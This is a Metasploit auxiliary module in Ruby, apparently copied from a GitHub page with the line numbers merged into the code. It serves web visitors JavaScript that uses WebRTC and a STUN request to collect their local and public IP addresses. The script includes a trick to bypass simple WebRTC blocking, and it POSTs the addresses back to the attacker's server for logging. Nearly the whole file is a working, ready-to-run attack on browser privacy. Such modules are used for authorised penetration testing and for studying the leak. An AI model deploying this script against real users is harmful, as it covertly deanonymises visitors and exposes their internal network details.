Path: blob/master/modules/auxiliary/gather/browser_lanipleak.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer78def initialize(info = {})9super(10update_info(11info,12'Name' => 'HTTP Client LAN IP Address Gather',13'Description' => %q{14This module retrieves a browser's network interface IP addresses15using WebRTC.16},17'License' => MSF_LICENSE,18'Author' => [19'Daniel Roesler', # JS Code20'Dhiraj Mishra' # MSF Module21],22'References' => [23[ 'CVE', '2018-6849' ],24[ 'URL', 'http://net.ipcalf.com/' ],25[ 'URL', 'https://www.inputzero.io/p/private-ip-leakage-using-webrtc.html' ]26],27'DisclosureDate' => '2013-09-05',28'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],29'PassiveActions' => [ 'WebServer' ],30'DefaultAction' => 'WebServer',31'Notes' => {32'Reliability' => UNKNOWN_RELIABILITY,33'Stability' => UNKNOWN_STABILITY,34'SideEffects' => UNKNOWN_SIDE_EFFECTS35}36)37)38end3940def run41exploit # start http server42end4344def setup45# code from: https://github.com/diafygi/webrtc-ips46@html = <<~JS47<script>48//get the IP addresses associated with an account49function getIPs(callback){50var ip_dups = {};5152//compatibility for firefox and chrome53var RTCPeerConnection = window.RTCPeerConnection54|| window.mozRTCPeerConnection55|| window.webkitRTCPeerConnection;56var useWebKit = !!window.webkitRTCPeerConnection;5758//bypass naive webrtc blocking using an iframe59if(!RTCPeerConnection){60//NOTE: you need to have an iframe in the page right above the script tag61//62//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>63//<script>...getIPs called in here...64//65var win = iframe.contentWindow;66RTCPeerConnection = win.RTCPeerConnection67|| win.mozRTCPeerConnection68|| win.webkitRTCPeerConnection;69useWebKit = !!win.webkitRTCPeerConnection;70}7172//minimal requirements for data connection73var mediaConstraints = {74optional: [{RtpDataChannels: true}]75};7677var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};7879//construct a new RTCPeerConnection80var pc = new RTCPeerConnection(servers, mediaConstraints);8182function handleCandidate(candidate){83//match just the IP address84var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/85var ip_addr = ip_regex.exec(candidate)[1];8687//remove duplicates88if(ip_dups[ip_addr] === undefined)89callback(ip_addr);9091ip_dups[ip_addr] = true;92}9394//listen for candidate events95pc.onicecandidate = function(ice){9697//skip non-candidate events98if(ice.candidate)99handleCandidate(ice.candidate.candidate);100};101102//create a bogus data channel103pc.createDataChannel("");104105//create an offer sdp106pc.createOffer(function(result){107108//trigger the stun server request109pc.setLocalDescription(result, function(){}, function(){});110111}, function(){});112113//wait for a while to let everything done114setTimeout(function(){115//read candidate info from local description116var lines = pc.localDescription.sdp.split('\\n');117118lines.forEach(function(line){119if(line.indexOf('a=candidate:') === 0)120handleCandidate(line);121});122}, 1000);123}124125getIPs(function(ip){126//console.log(ip);127var xmlhttp = new XMLHttpRequest;128xmlhttp.open('POST', window.location, true);129xmlhttp.send(ip);130});131</script>132JS133end134135def on_request_uri(cli, request)136case request.method.downcase137when 'get'138print_status("#{cli.peerhost}: Sending response (#{@html.size} bytes)")139send_response(cli, @html)140when 'post'141begin142ip = request.body143if ip =~ /\A([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})\z/144print_good("#{cli.peerhost}: Found IP address: #{ip}")145else146print_error("#{cli.peerhost}: Received malformed IP address")147end148rescue149print_error("#{cli.peerhost}: Received malformed reply")150end151else152print_error("#{cli.peerhost}: Unhandled method: #{request.method}")153end154end155end156157158